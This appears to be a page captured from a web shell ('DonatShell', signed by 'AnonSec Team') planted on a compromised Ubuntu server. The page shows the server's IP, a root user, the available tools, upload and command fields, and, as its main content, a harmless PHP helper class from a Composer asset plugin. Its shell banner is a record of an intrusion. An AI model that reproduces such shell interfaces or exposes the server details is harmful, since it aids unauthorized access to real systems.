%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/ppaobm/vendor/fxp/composer-asset-plugin/Repository/Vcs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/ppaobm/vendor/fxp/composer-asset-plugin/Repository/Vcs/ProcessUtil.php
<?php

/*
 * This file is part of the Fxp Composer Asset Plugin package.
 *
 * (c) François Pluchino <francois.pluchino@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Fxp\Composer\AssetPlugin\Repository\Vcs;

use Composer\Cache;
use Composer\Json\JsonFile;
use Composer\Util\ProcessExecutor;

/**
 * Helper for process VCS driver.
 *
 * @author François Pluchino <francois.pluchino@gmail.com>
 */
class ProcessUtil
{
    /**
     * Get composer information.
     *
     * @param Cache           $cache
     * @param array           $infoCache
     * @param string          $assetType
     * @param ProcessExecutor $process
     * @param string          $identifier
     * @param string          $resource
     * @param string          $cmdGet
     * @param string          $cmdLog
     * @param string          $repoDir
     * @param string          $datetimePrefix
     *
     * @return array The composer
     */
    public static function getComposerInformation(
        Cache $cache,
        array &$infoCache,
        $assetType,
        ProcessExecutor $process,
        $identifier,
        $resource,
        $cmdGet,
        $cmdLog,
        $repoDir,
        $datetimePrefix = ''
    ) {
        $infoCache[$identifier] = Util::readCache($infoCache, $cache, $assetType, $identifier);

        if (!isset($infoCache[$identifier])) {
            $composer = static::doGetComposerInformation($resource, $process, $cmdGet, $cmdLog, $repoDir, $datetimePrefix);

            Util::writeCache($cache, $assetType, $identifier, $composer);
            $infoCache[$identifier] = $composer;
        }

        return $infoCache[$identifier];
    }

    /**
     * Get composer information.
     *
     * @param string          $resource
     * @param ProcessExecutor $process
     * @param string          $cmdGet
     * @param string          $cmdLog
     * @param string          $repoDir
     * @param string          $datetimePrefix
     *
     * @return array The composer
     */
    protected static function doGetComposerInformation($resource, ProcessExecutor $process, $cmdGet, $cmdLog, $repoDir, $datetimePrefix = '')
    {
        $process->execute($cmdGet, $composer, $repoDir);

        if (!trim($composer)) {
            return array('_nonexistent_package' => true);
        }

        $composer = JsonFile::parseJson($composer, $resource);

        return static::addComposerTime($composer, $process, $cmdLog, $repoDir, $datetimePrefix);
    }

    /**
     * Add time in composer.
     *
     * @param array           $composer
     * @param ProcessExecutor $process
     * @param string          $cmd
     * @param string          $repoDir
     * @param string          $datetimePrefix
     *
     * @return array The composer
     */
    protected static function addComposerTime(array $composer, ProcessExecutor $process, $cmd, $repoDir, $datetimePrefix = '')
    {
        if (!isset($composer['time'])) {
            $process->execute($cmd, $output, $repoDir);
            $date = new \DateTime($datetimePrefix.trim($output), new \DateTimeZone('UTC'));
            $composer['time'] = $date->format('Y-m-d H:i:s');
        }

        return $composer;
    }
}

Anon7 - 2022
AnonSec Team